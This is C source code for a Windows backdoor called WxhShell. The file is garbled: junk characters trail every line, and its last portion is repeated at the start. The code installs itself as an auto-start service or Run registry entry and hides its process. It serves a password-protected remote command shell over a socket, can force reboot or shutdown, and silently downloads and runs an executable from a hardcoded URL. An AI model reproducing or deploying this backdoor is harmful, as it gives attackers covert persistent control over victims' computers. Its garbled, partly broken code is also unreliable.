    if(Boot(SHUTDOWN)) ~X3g_<b_8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F}}!e.>c  
    else { #yH+ENp0   
    closesocket(wsh); =de'Yy:\-  
    ExitThread(0); 8ao-]QoMZ  
    } XkA] 9,@  
    break; r? /Uu &  
    } {U;yW)  
  // 获取shell u!K1K3T6k  
  case 's': { FoetP`   
    CmdShell(wsh); 01'>[h#_n  
    closesocket(wsh); MDlH[PJ@i  
    ExitThread(0); M.Yp'Av  
    break; ii?T:T@  
  } @5^&&4>N  
  // 退出 ^)-[g  
  case 'x': { T`E0_ZU;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,m{R m0  
    CloseIt(wsh); i% 1UUI(W  
    break; {32m&a  
    } 7+P;s,mi7  
  // 离开 Wq4<9D  
  case 'q': { % 6 *c40  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Z<;W*6J  
    closesocket(wsh); N (4H}2  
    WSACleanup(); ~2Wus8X-  
    exit(1); #Nh'1@@  
    break; EnWv9I<  
        } )95k3xo  
  } +0&^.N  
  } T]%-Ri  
Y!L-5|G  
  // 提示信息 t1hQ0B  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E:K4k <  
} |`o|;A]  
  } bo|THS  
LTe ({6l0  
  return; gF,=rT1:>r  
} }i8y/CA  
#^L&H oo6  
// shell模块句柄 ^s{Ff+]W  
int CmdShell(SOCKET sock) _RaE: )  
{ 3 2z4G =l  
STARTUPINFO si; u ]"fwkL  
ZeroMemory(&si,sizeof(si)); 67(s\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }.A]=Ew  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wY<s  
PROCESS_INFORMATION ProcessInfo; 8JY0]G6  
char cmdline[]="cmd"; )NZH{G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); v Z9OJrF  
  return 0; WK6,K92  
} -zFJ)!/?  
6Hnez@d  
// 自身启动模式 Dz0D ^(;V  
int StartFromService(void) _8.TPB]no  
{ \8xSfe  
typedef struct BzfR8mD  
{ BaQyn 6B  
  DWORD ExitStatus; E4% -*n  
  DWORD PebBaseAddress; 5f7id7SI  
  DWORD AffinityMask; ^t})T*hM0  
  DWORD BasePriority; Oo :Dt~Ib  
  ULONG UniqueProcessId; d3c.lD)L9  
  ULONG InheritedFromUniqueProcessId; or*{P=m+R  
}   PROCESS_BASIC_INFORMATION; gHPJiiCv  
@mCe{r*`  
PROCNTQSIP NtQueryInformationProcess; MSmr7%g3D  
uP* kvi:e  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1O`V_d)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Po)U!5Tm  
 @*eY~  
  HANDLE             hProcess; P gA<pfEHE  
  PROCESS_BASIC_INFORMATION pbi; 7*PBJt\  
nz3*s#k\-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~s+vJvWz  
  if(NULL == hInst ) return 0; )7& -DI1  
)9nW`d+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I#2$CSJ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qj;i03 +@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =_`q;Tu=  
]`)5 Qe4  
  if (!NtQueryInformationProcess) return 0; Sh(ys*y>  
}>6e-]MHfR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); He=C\"  
  if(!hProcess) return 0; J:Fq ip  
Wo "s;Z  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; S' $;  
CK[8y&  
  CloseHandle(hProcess); 1gV?}'jq  
3*<@PXpK&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \1Y|$:T/  
if(hProcess==NULL) return 0; F- -g?Q^  
D>y5&`  
HMODULE hMod; @/ ^< 9  
char procName[255]; 8r(a wp  
unsigned long cbNeeded; \oWpyT _  
`D(V_WZ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u:APGR^  
Zp7Pw   
  CloseHandle(hProcess); 5a/A?9?,  
HDV-qYD|O~  
if(strstr(procName,"services")) return 1; // 以服务启动 6B8!}6Ojc  
.T3N"}7[  
  return 0; // 注册表启动 )vO"S  
} 5@xR`g-  
oT\K P  
// 主模块 Ga 5s9wC  
int StartWxhshell(LPSTR lpCmdLine) cjL)M=pIS  
{ %nkP" Z#  
  SOCKET wsl; pL,XHR@Iv  
BOOL val=TRUE; u9 &$`N_G  
  int port=0; 1Of(O!  
  struct sockaddr_in door; B<I(t"s  
hZ1enej)  
  if(wscfg.ws_autoins) Install(); lNxP  
.6`r`|=  
port=atoi(lpCmdLine); [ iTP:8  
<OEIG 0  
if(port<=0) port=wscfg.ws_port; OM1Z}%J  
=x -7 Wy  
  WSADATA data; JlnmG<WLT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  a[nSUlT&  
F:m6Mf7L  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   znE1t%V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dXxf{|gk>  
  door.sin_family = AF_INET; 5@5 *}[M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _5rKuL  
  door.sin_port = htons(port); c~tl0XU1  
ZRf9'UwS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { u~OlJ1V  
closesocket(wsl); T!,5dt8L  
return 1; Bg),Q8\I  
} ^mq(j_E.  
-7&ywgxl  
  if(listen(wsl,2) == INVALID_SOCKET) { )'m;a_r`  
closesocket(wsl); }@HgFM"  
return 1; ei4LE XQ16  
} U^KWRqt  
  Wxhshell(wsl); !!Ww#x~k$[  
  WSACleanup(); T!]rdN!  
2vpQ"e- A  
return 0; RK.lz VaY  
iz=cjmV?  
} '/<\X{l8  
"a2|WKpD  
// 以NT服务方式启动 4vbGXb}!  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lOcFF0'  
{ 8?82 p  
DWORD   status = 0; HK :K~h  
  DWORD   specificError = 0xfffffff; lPR^~&/  
KS8@A/f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i@+m<YS:2>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; cRs.@U\{R\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; </;e$fh`  
  serviceStatus.dwWin32ExitCode     = 0; .hH_1Mo8  
  serviceStatus.dwServiceSpecificExitCode = 0; l1T`[2  
  serviceStatus.dwCheckPoint       = 0; Y0g]-B  
  serviceStatus.dwWaitHint       = 0; R|*0_!O:[  
:!s7B|_U  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s/hgWW$  
  if (hServiceStatusHandle==0) return; #~'d Y\&  
#qVTB@d  
status = GetLastError(); 9@CRL=  
  if (status!=NO_ERROR) 8|@) #:  
{ jv.tg,c_6  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vk E]$4P[$  
    serviceStatus.dwCheckPoint       = 0; i&H^xgm  
    serviceStatus.dwWaitHint       = 0; 5 <k)tF%  
    serviceStatus.dwWin32ExitCode     = status; w\i]z1  
    serviceStatus.dwServiceSpecificExitCode = specificError; U3_O}X+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *eHa4I  
    return; |?J57(  
  } <B>qE a_I  
N4;g"k b  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,j XK  
  serviceStatus.dwCheckPoint       = 0; O>~@>/#  
  serviceStatus.dwWaitHint       = 0; Q>4NUq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2&*#k  
} %ud-3u52M8  
KH)-=IJ8  
// 处理NT服务事件,比如:启动、停止 ?ja%*0 R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o*A, 6y  
{ U+'zz#0qN  
switch(fdwControl) 0&)6mO  
{ Wi=zu[[qc  
case SERVICE_CONTROL_STOP: mTsyVji8  
  serviceStatus.dwWin32ExitCode = 0; k~AtnI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; i ZPNss  
  serviceStatus.dwCheckPoint   = 0; F_0D)H)N@  
  serviceStatus.dwWaitHint     = 0; h;vY=r-  
  { IT:WiMDQ}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); CN(-Jd.b  
  } Ud+,/pE>FA  
  return; /1Gmga5  
case SERVICE_CONTROL_PAUSE: B~]6[Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; $,:mq>]![{  
  break; dBA&NW07  
case SERVICE_CONTROL_CONTINUE: ,gk'8]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; A5F (-  
  break; .WKJ37od  
case SERVICE_CONTROL_INTERROGATE: 9nVb$pfe#  
  break; /[lEZ['^  
}; %Qz<Lk">.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "7EK{6&jQ  
} ^U,iDK_  
@8{8|P  
// 标准应用程序主函数 ]h1.1@>xc  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :%9R&p:'ar  
{ P7W|e~]Yq  
?,7!kTRH  
// 获取操作系统版本 Es#:0KH].v  
OsIsNt=GetOsVer(); '^m'r+B"  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  Ps.xY;Y  
G^ k8Or2  
  // 从命令行安装 oJNQdW[  
  if(strpbrk(lpCmdLine,"iI")) Install(); 423%K$710  
cvy 5|;-u  
  // 下载执行文件 LhKbZ oPp  
if(wscfg.ws_downexe) { hzk!H]>E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 4A"nm6  
  WinExec(wscfg.ws_filenam,SW_HIDE); kjPf%*3  
} u~*A-X [  
f_PH?  
if(!OsIsNt) { + a*Ic8*  
// 如果时win9x,隐藏进程并且设置为注册表启动 - q9m@!L  
HideProc(); Uu8ayN j  
StartWxhshell(lpCmdLine); =Pn"nkpML  
} ]e-QNI  
else s%y<FXUj  
  if(StartFromService()) j~Fd8]@  
  // 以服务方式启动 [Y!HQ9^LEp  
  StartServiceCtrlDispatcher(DispatchTable); XM5)|D  
else (PH7nW7  
  // 普通方式启动 W=EcbH9/.)  
  StartWxhshell(lpCmdLine); 5Q%)|(U'  
{hN\=_6*EW  
return 0; =D0d+b6  
} M 2| k.  
b=S"o )>  
uSYI X  
Y*pXbztP  
=========================================== V?*fl^f  
v+xrn z  
8J&9}@y  
z[ ;n2o|s  
nLAwo3  
du }HTrsC  
" %pWJ2J@  
^L.I9a#]  
#include <stdio.h> 2HVqJib4Yn  
#include <string.h> 03)irq%l;  
#include <windows.h> rD$5]%Y  
#include <winsock2.h> kuBtPZ  
#include <winsvc.h> 2{WZ?H93a  
#include <urlmon.h> vv)w@A:Vn)  
y|B HSc3  
#pragma comment (lib, "Ws2_32.lib") uPcx6X3]  
#pragma comment (lib, "urlmon.lib") p q?# X0  
yj'lHC  
#define MAX_USER   100 // 最大客户端连接数 |O)ZjLx  
#define BUF_SOCK   200 // sock buffer q1YNp`]0i8  
#define KEY_BUFF   255 // 输入 buffer +%[, m&  
 *`qI<]!  
#define REBOOT     0   // 重启 jqvw<+#  
#define SHUTDOWN   1   // 关机  ~}p k^FA  
E`HA0/  
#define DEF_PORT   5000 // 监听端口 c"k nzB vy  
/|NyO+Io  
#define REG_LEN     16   // 注册表键长度 c99|+i50  
#define SVC_LEN     80   // NT服务名长度 XFs7kTY  
 :Kyr}-  
// 从dll定义API _}j>  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @G#`uoD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); RB*z."  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R~A))4<%%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3ONWu  
i@P= *lLD  
// wxhshell配置信息 aBQ--Sz  
struct WSCFG { `_/1zL[  
  int ws_port;         // 监听端口 _"D J|j  
  char ws_passstr[REG_LEN]; // 口令 }Gb^%1%M  
  int ws_autoins;       // 安装标记, 1=yes 0=no ()8=U_BFz  
  char ws_regname[REG_LEN]; // 注册表键名 NE`;=26c  
  char ws_svcname[REG_LEN]; // 服务名 tjV63`LD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v@2?X4n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @ >'Wiq!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @o@SU"[?_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no SK/}bZ;f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t3}_mJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #,lbM%a  
\QSD*  
}; ~ cu+QR)  
c uAp,!  
// default Wxhshell configuration K4NzI9@  
struct WSCFG wscfg={DEF_PORT, J+0 ?e9  
    "xuhuanlingzhe", M{u7Ef  
    1,  `m_f i  
    "Wxhshell", S=< ]u  
    "Wxhshell", LfrjC@_y  
            "WxhShell Service", w U]8hkl?  
    "Wrsky Windows CmdShell Service", p8F$vx4,  
    "Please Input Your Password: ", V^.Z&7+E`_  
  1, 2&s(:=  
  "http://www.wrsky.com/wxhshell.exe", T|oDJ]\J  
  "Wxhshell.exe" /YwwG;1  
    }; 26zif  
uGlz|C  
// 消息定义模块 M>RLS/r>d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 23;\l   
char *msg_ws_prompt="\n\r? for help\n\r#>"; eon(C|S7eK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z^A(Q>{e  
char *msg_ws_ext="\n\rExit."; }EfRYE$E  
char *msg_ws_end="\n\rQuit."; ou|3%&*"  
char *msg_ws_boot="\n\rReboot..."; b[n6L5P5m2  
char *msg_ws_poff="\n\rShutdown..."; @ohJ'  
char *msg_ws_down="\n\rSave to "; -xH3}K%  
JP]4* l  
char *msg_ws_err="\n\rErr!"; w+%p4VkA<r  
char *msg_ws_ok="\n\rOK!"; Y\1&  Uk  
r 3T#Nv  
char ExeFile[MAX_PATH]; M tDJ1I%  
int nUser = 0; J{EK}'  
HANDLE handles[MAX_USER]; iu+H+_  
int OsIsNt; ONcS,oHW  
-Vg0J6x  
SERVICE_STATUS       serviceStatus; UU =,Brb  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pek5P4W_  
kc2E4i  
// 函数声明 {;UBW7{  
int Install(void); OH+2)X  
int Uninstall(void); z"sv,W  
int DownloadFile(char *sURL, SOCKET wsh); 3@;24X  
int Boot(int flag); [.G~5%974  
void HideProc(void); Q6X}R,KA1  
int GetOsVer(void); oFGgr2Re  
int Wxhshell(SOCKET wsl); QmPHf*w[  
void TalkWithClient(void *cs); l`K5fk  
int CmdShell(SOCKET sock); 5bK:sht  
int StartFromService(void); !G ~\9  
int StartWxhshell(LPSTR lpCmdLine); c%n%,R>  
'aZAWY d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R&R{I/;i*.  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9EZh~tdV[  
DGAg#jh  
// 数据结构和表定义 ~Oj-W6-+&,  
SERVICE_TABLE_ENTRY DispatchTable[] = /z,+W9`  
{ 3o__tU)B  
{wscfg.ws_svcname, NTServiceMain},  #Bn7Cc  
{NULL, NULL} 5Ul=Nv]  
}; na4^RPtN\e  
U &W}c^#  
// 自我安装 q/tC/V%@(  
int Install(void) YC~kq?  
{ b9Ix*!Y  
  char svExeFile[MAX_PATH]; QN m.8c$  
  HKEY key; [SLBA_d  
  strcpy(svExeFile,ExeFile); Sh5SOYLz  
{7q +3f <  
// 如果是win9x系统,修改注册表设为自启动 G Q+g.{c  
if(!OsIsNt) { ;6zp,t0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { le`_    
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ne,u\q3f  
  RegCloseKey(key); (kI@U![u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }NJ? .Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d5B96;3  
  RegCloseKey(key); rU1{a" {  
  return 0; G@n%P~  
    } 3UX})mW  
  } =G2A Ufn   
} QI2T G,  
else { Bx&wS|-)D  
$lrq*Nf9c  
// 如果是NT以上系统,安装为系统服务 HPR*:t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); jG3i )ALx  
if (schSCManager!=0) r*l:F{  
{ Aa/lKiiz  
  SC_HANDLE schService = CreateService lN^} qg><  
  ( ! =c&U.B  
  schSCManager, {utIaMb]&v  
  wscfg.ws_svcname, nK9A=H'Hc  
  wscfg.ws_svcdisp, 6|:]2S  
  SERVICE_ALL_ACCESS, !23#Bz7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y|iALrx  
  SERVICE_AUTO_START, FPPGf!Eq  
  SERVICE_ERROR_NORMAL, nMHs5'_y  
  svExeFile, $.@)4Nu!_  
  NULL, jlZW!$Iq  
  NULL, Ot} E  
  NULL, sj@'C@oK  
  NULL, V<!E9/4rS  
  NULL /\9X0a2h|E  
  ); l;g8_uyjv7  
  if (schService!=0) .<`Rq'  
  { az]S&\i7T  
  CloseServiceHandle(schService); ='cr@[~i  
  CloseServiceHandle(schSCManager); 4RqOg1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); DNaU mz  
  strcat(svExeFile,wscfg.ws_svcname); 7L:$Amb_F  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;-d :!*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M -df Gk  
  RegCloseKey(key); i'%:z]hp9  
  return 0; q|%(47}z  
    } ^\<1Y''  
  } xe6 2gaT  
  CloseServiceHandle(schSCManager); n300kpv  
} nNFZ77lg  
} tXTa>Q  
)LwB  
return 1; Mc6?]wDB]  
} g.N~81A  
@`ttyI^1f  
// 自我卸载 * 5#Y [c  
int Uninstall(void) ZIx,?E+eJ  
{ l~M86 h  
  HKEY key; bgm$<;`U  
?8X+)nU@  
if(!OsIsNt) { @3K 4,s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { HBL)_c{/O  
  RegDeleteValue(key,wscfg.ws_regname); p' FYK|  
  RegCloseKey(key); Bk 1Q.Un  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .Go3'$'v  
  RegDeleteValue(key,wscfg.ws_regname); 9)QvJ87e@7  
  RegCloseKey(key); V< @]Iv  
  return 0; |:tFQ.Z'2  
  } h2Z Gh  
} iCIu]6  
} z rt8ze=Su  
else { a-,BBM8|  
@"H+QVJ@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); P~:W+!@5v  
if (schSCManager!=0) ht S5<+Y  
{ m(8t |~S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @fbB3  
  if (schService!=0) H0s,tTK8  
  { g!O(@Sqp1  
  if(DeleteService(schService)!=0) { m4 *Rr  
  CloseServiceHandle(schService); cV5Lp4wY?  
  CloseServiceHandle(schSCManager); @qH<4`y.^  
  return 0; c)M_&?J!5  
  } -~ `5kO~  
  CloseServiceHandle(schService); UGPD5wX?  
  } Tp`by 1s  
  CloseServiceHandle(schSCManager); ('xu2 ;<  
} 'wX'}3_/g  
} h2u> CXD  
rj*4ZA?  
return 1; !\8j[QS!  
} 8+uwzBNZ:  
\,E;b{PQo6  
// 从指定url下载文件 J%;TK6  
int DownloadFile(char *sURL, SOCKET wsh) R)#D{/#FW  
{ XWbe|K!e  
  HRESULT hr; /cr.}D2O  
char seps[]= "/"; gR(*lXm5w  
char *token; M,PZ|=V6a  
char *file; Bj J$I^  
char myURL[MAX_PATH]; t.>vLzrU  
char myFILE[MAX_PATH]; ;EE*#"IJ  
xk}YeNVj  
strcpy(myURL,sURL);  OXzJ%&h  
  token=strtok(myURL,seps); Ni GK| Z   
  while(token!=NULL) 1z$;>+g<  
  { >0SF79-RE  
    file=token; w'.ny<Pe  
  token=strtok(NULL,seps); Vl?R?K=`~J  
  } OlFls 8#>  
kN;l@>  
GetCurrentDirectory(MAX_PATH,myFILE); *Rj>// A  
strcat(myFILE, "\\"); (9$/r/-a  
strcat(myFILE, file); 8sg8gBt  
  send(wsh,myFILE,strlen(myFILE),0); . dVo[m;  
send(wsh,"...",3,0); QKbX^C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )D@1V=9,  
  if(hr==S_OK) BJk\p.BVN  
return 0; 6A/Nlk.  
else Zcz)FP#  
return 1; xZL`<3?  
6$b"tdP  
} p(~>u'c  
+8Zt<snG  
// 系统电源模块 q=}Lm;r  
int Boot(int flag) j 46f Q  
{ c:51In|~{C  
  HANDLE hToken; GOa](oD}  
  TOKEN_PRIVILEGES tkp; ~c :e0}  
F)Yn1&a#H  
  if(OsIsNt) { W==HV0n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bUp%87<*X  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n\.K:t[:  
    tkp.PrivilegeCount = 1; =M 7FD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Uz\B^"i|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); klKAwCQ,  
if(flag==REBOOT) { @ MNL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )-[ 2vhXz  
  return 0; ]ODC+q1  
} _d]w)YMO  
else { Lz=nJn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !Il>,q&F  
  return 0; C_PXh>H]'  
} <Ky\ ^  
  } U{LDtn%@h6  
  else { 9.lSF  
if(flag==REBOOT) { x-U:T.+{  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) * C~  
  return 0; @"kA&=0;|J  
} i,S%:0c7)  
else { |VlAt#E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) & .+[~2  
  return 0; M`KrB5a+6  
} ()(@Qcc  
} C 1|e1  
_1dG!!L_  
return 1; Yiu)0\ o  
} Q9 kKk  
A`=ESz  
// win9x进程隐藏模块 27E6S)zv  
void HideProc(void) p2!x8`IB*  
{  -deY,%  
-d %bc?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); H<%7aOwO2  
  if ( hKernel != NULL ) 0[T!}F^%e  
  { FD#?pVyPn^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); CTR|b}!  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Zx55mSfx:  
    FreeLibrary(hKernel); 8S@ ~^D  
  } @+ Berb  
Otn,(j;u  
return; k^]+I% ?Q  
} Fmt5"3B  
\@['V   
// 获取操作系统版本 rd0BvQ9TK  
int GetOsVer(void) aAu upPu  
{ p4W->AVv$  
  OSVERSIONINFO winfo; OWB^24Z&3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); *0l^/jqn:  
  GetVersionEx(&winfo); ~{Tus.jk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 0FjSa\ZH  
  return 1; <3 AkF# C9  
  else idPkJf/  
  return 0; i{T0[\4  
} 2*Z~J M  
P) ^K&7X  
// 客户端句柄模块 ;r- \h1iA'  
int Wxhshell(SOCKET wsl) ]Vl * !,(i  
{ %I(N  
  SOCKET wsh; =^q:h<  
  struct sockaddr_in client; O<iE,PN)  
  DWORD myID; r&1N8o  
e@Z(z^V  
  while(nUser<MAX_USER) AvEJX0"\df  
{ JF%+T yMe  
  int nSize=sizeof(client); u~1[nH:  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g}$]K! F  
  if(wsh==INVALID_SOCKET) return 1; WsJ3zZc  
#R305  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0}PW?t76  
if(handles[nUser]==0) K ^A\S  
  closesocket(wsh); n9t8RcJS:  
else 4zpprh+`K  
  nUser++; /r[0Dw  
  } 'e7<&wm ia  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Th|'  
A37Z;/H~k  
  return 0; 3,oFT   
} AJ^9[j}  
pL.r 9T.  
// 关闭 socket S<88>|&n]  
void CloseIt(SOCKET wsh) m,Q<4'  
{ R7ZxS  
closesocket(wsh); !(uyqplTk  
nUser--; )3'/g`c  
ExitThread(0); 8$OE<c?#5n  
} ztgSd8GGE  
yew9bn0a=  
// 客户端请求句柄 B\KvKT|\  
void TalkWithClient(void *cs) , YTuZS  
{ `Kpn@Xg  
Sw%=/g  
  SOCKET wsh=(SOCKET)cs; SL pd~ZC?  
  char pwd[SVC_LEN]; *;Hvx32I  
  char cmd[KEY_BUFF]; 7$Bq.Lc#z  
char chr[1]; ="d}:Jl  
int i,j; ) (PA:j  
r$=iM:kERC  
  while (nUser < MAX_USER) { P9G c)$6{p  
a&.8*|w3  
if(wscfg.ws_passstr) { |"5NI'X?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); e DX{}Dq(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6n  
  //ZeroMemory(pwd,KEY_BUFF); (gvaYKvr  
      i=0; "CT'^d+  
  while(i<SVC_LEN) { fg*IHha  
p r(:99~3  
  // 设置超时 tL 3]9qfj  
  fd_set FdRead; 2e/ JFhA  
  struct timeval TimeOut; DFVaZN?~  
  FD_ZERO(&FdRead); *S:^3{.m=  
  FD_SET(wsh,&FdRead); ;pBSGr 9  
  TimeOut.tv_sec=8; ,kpk XK  
  TimeOut.tv_usec=0; ,l&Dt,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); hG uRV|`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HB||'gIC  
\P^WUWY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eqZ V/a  
  pwd=chr[0]; c,!Ijn\;(  
  if(chr[0]==0xd || chr[0]==0xa) { ]A5FN4 E  
  pwd=0; $*H_0wQc  
  break; pLDseEr<  
  } {" Van,w  
  i++; QyJ}zwD  
    } ucL}fnY1  
.,o=#  
  // 如果是非法用户,关闭 socket  J5*krH2i  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;R@zf1UYA  
} sn@gchO9s  
r[q-O&2&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); QPg QM6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O:{I9V-=>s  
k_ UY^vz.  
while(1) { Ra%RcUf~sh  
[ZZ~^U5  
  ZeroMemory(cmd,KEY_BUFF); (5cc{zKtR  
l"f.eo0@7  
      // 自动支持客户端 telnet标准   d2Z5HFtY  
  j=0; Y]Vt&*{JV  
  while(j<KEY_BUFF) { u+&BR1)C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7!]$XGz[  
  cmd[j]=chr[0]; 0 x4Xs  
  if(chr[0]==0xa || chr[0]==0xd) { K``MS  
  cmd[j]=0; #OqQD6  
  break; plh.-"   
  } I ^?TabL  
  j++; Z[)t34EY"  
    } $k,Z)2  
Ckj2$c~  
  // 下载文件 g1@zk $  
  if(strstr(cmd,"http://")) { Q]S~H+eRy  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l<ag\ d  
  if(DownloadFile(cmd,wsh)) ]e$mTRi*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M/EEoK^K@  
  else )iNM jg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9s>q4_D  
  } b^~ keQ  
  else { e=<knKc Q  
